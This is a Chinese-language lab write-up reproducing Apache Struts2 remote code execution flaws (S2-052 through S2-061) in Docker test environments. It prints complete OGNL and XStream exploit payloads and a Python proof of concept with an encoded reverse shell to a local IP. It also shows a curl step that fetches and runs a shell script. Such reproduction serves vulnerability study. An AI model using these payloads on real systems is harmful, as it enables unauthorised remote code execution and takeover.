框架/组件漏洞系列1：struts2漏洞汇总

前言：

本篇文章中复现的漏洞不是特别全面，但是挑选了最近两年的漏洞进行复现，旨在对漏洞进行有用复现，毕竟一些老漏洞已经基本不存在了。

一、Struts简介

1、简介

基本介绍：

Struts是Apache软件基金会（ASF）赞助的一个开源项目。它最初是Jakarta项目中的一个子项目，并在2004年3月成为ASF的顶级项目。它通过采用[Java Servlet](https://baike.baidu.com/item/Java Servlet)/JSP技术，实现了基于[Java EE](https://baike.baidu.com/item/Java EE) Web应用的Model-View-Controller（MVC）设计模式的应用框架，是MVC经典设计模式中的一个经典产品。

在过去多年的时间中，Struts2曾被爆出过许多安全漏洞，业内对其命名也从S2-001命名到了S2-061,也就是说前前后后一共产生了61个安全漏洞，其中的两个大类是DDOS漏洞个RCE漏洞，而本次我们复现、共享的漏洞主要是最近几年的RCE漏洞。

最近几年漏洞信息 :

• S2-052:REST插件使用到XStreamHandler处理xml数据，由于未对xml数据做任何过滤，在进行发序列xml数据转换为Object时导致RCE
• S2-053:Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式,导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成离开一个表达式，被OGNL解析第二次，导致任意命令执行漏洞。
• S2-057:网站配置XML时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生
• S2-059:攻击者可以通过构造恶意的OGNL表达式，并将其设置到可被外部输入进行修改，且会执行OGNL表达式的Struts2标签的属性值，引发OGNL表达式解析，最终造成远程代码执行的影响。
• S2-061:对S2-059的沙盒绕过。

2、struts2框架判断

看url里面的连接，如果是XXX.action结尾或直接XXX.do结尾的，就是struts框架写的。

如果URL连接的文件没有后缀，则可能是struts2框架写的，看HTMl源码中加载/提交的文件后缀可判断。

还是不行，就可以通过传入大量错误数据，使其报错，看报错内容来判断。

二、S2-052 RCE漏洞

1、漏洞简介

Apache Struts2的REST插件存在远程代码执行的高危漏洞，该漏洞由lgtm.com的安全研究员汇报，漏洞编号为CVE-2017-9805（S2-052）。Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。

影响版本： Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞POC：

 
<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
      <flags>0flags> 
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>falseinitialized> 
                <opmode>0opmode> 
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/> 
                    <next class="java.lang.ProcessBuilder">
                      <command><string>你要执行的代码string>command> 
                      <redirectErrorStream>falseredirectErrorStream>
                    next>
                  iter> 
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilderclass> 
                      <name>startname> 
                      <parameter-types/>
                    method> 
                    <name>fooname>
                  filter> 
                  <next class="string">foonext>
                serviceIterator> 
                <lock/>
              cipher> 
              <input class="java.lang.ProcessBuilder$NullInputStream"/> 
              <ibuffer/> 
              <done>falsedone> 
              <ostart>0ostart> 
              <ofinish>0ofinish> 
              <closed>falseclosed>
            is> 
            <consumed>falseconsumed>
          dataSource> 
          <transferFlavors/>
        dataHandler> 
        <dataLen>0dataLen>
      value>
    jdk.nashorn.internal.objects.NativeString> 
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  entry> 
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  entry>
map>

2、漏洞复现

1. 使用docker搭建其漏洞环境，访问8080端口，选择任意一个账号进行编辑，使用burp suite 进行抓包。
   

2. 修改请求头中的Content-Type为application/xml,修改Post数据为poc内容，并将执行的代码改为自己的。返回500错误，理论上来说代码执行成功。
   

3. 事实证明，理论上终究只是理论上，反弹shell并没有成功。于是使用github的POC进行getshell。poc地址：https://github.com/wooluo/S2-052。脚本运行成功，但执行命令也失败，艹了。

三、S2-053 RCE漏洞

1、漏洞简介

原理：

s2-053漏洞产生的原因是Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成离开一个表达式，被OGNL解析第二次，导致任意命令执行漏洞。(没咋懂)

影响版本： Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

漏洞POC（命令执行点在 #cmd=‘whoami’）：

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

2、漏洞复现

1. 使用docker搭建起漏洞环境，访问8080端口，能正常访问，说明漏洞环境启用成功。

2. 访问hello.action,输入一个表达式：%{6*6}，输出结果为36，说明漏洞存在。
   

3. 输入POC，看执行效果，如图，返回结果为root.
   

4. kali监听端口，使用bash命令，执行poc反弹shell.
   

四、S2-057 RCE漏洞

1、漏洞简介

漏洞原理：

定义XML配置时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值，并且上层动作并没有设置或使用通配符namespace，从而导致远程代码执行漏洞的发生。(懵逼)

影响版本： Struts 2.3 - Struts 2.3.34，Struts 2.5 - Struts 2.5.16

漏洞EXP： https://github.com/Ivan1ee/struts2-057-exp

2、漏洞复现

1. 使用docker搭建好漏洞环境，访问index.action,如下界面，说明搭建成功。
   

2. 使用poc执行算术运算poc:struts2-showcase/${(111+111)}/actionChain1.action, 访问后变为：/struts2-showcase/222/register2.action
   

3. 构造payload，执行命令id；

   payload: ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
   

   对payload进行url编码，,并附加到url中，使用bp重放：

   请求内容：GET /struts2-showcase/%24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
   

   发生跳转并得到id返回值：
   

五、S2-059 RCE漏洞

1、漏洞简介

漏洞产生原因： s2-059产生的原因为攻击者可以通过构造恶意的OGNL表达式，并将其设置到可被外部输入进行修改，且会执行OGNL表达式的Struts2标签的属性值，引发OGNL表达式解析，最终造成远程代码执行的影响。

影响版本： Struts 2.0.0 - Struts 2.5.20

poc：

import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
# 反弹shell的命令，需要自行进行编码替换。
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)

2、漏洞复现

1. 访问docker搭建的初始页面，显示id内容。

2. 根据漏洞信息，可以输入一个OGNL表达式看是否存在漏洞，此处输入payload： id=%25{4*6},成功执行表达式，说明漏洞存在。
   

3. 使用bash反弹shell，需要将bash命令进行base64编码。编码后：bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

4. 使用poc进行测试，反弹shell此处踩坑，按照poc来不能反弹shell。

5. 换个方式getshell：使用python开启临时http服务，将反弹shell的语句写入shell.sh中，修改POC中的命令为curl -o /tmp/shell.sh http://your_HTTP_ip:your_Port/shell.sh。执行poc后成功下载shell.sh，再修改POC中的bash命令为bash /tmp/sh,执行成功并反弹shell。
   

六、S2-061 RCE漏洞

1、漏洞简介

漏洞原理：

s2-061漏洞产生的原因是Struts2 会对某些标签属性(比如 id，其他属性有待寻找) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时，用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

影响范围： struts 2.0.0 - struts 2.5.25

漏洞poc: https://github.com/wuzuowei/CVE-2020-17530

2、漏洞复现

1. 访问docker搭建的web服务，发现是和s2-059的一样，尝试执行算数运算，发现能成功执行。

2. 尝试使用s2-059的poc执行命令，发现不能正常执行，因此只能照搬s2-061的复现方法进行。

3. 首先抓包后修改Content-Type为multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF，并加入以下内容：

   ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
   Content-Disposition: form-data; name="id"
   
   %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
   ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
   

4. 此处使用原始的GTE传输方式，并不能回显命令内容：
   

5. 改用POST传输数据，成功执行命令。
   

6. 修改命令内容，反弹shell。bash反弹shell命令需要进行base64编码。编码地址：https://www.jackson-t.ca/runtime-exec-payloads.html，发送数据后成功执行并反弹shell。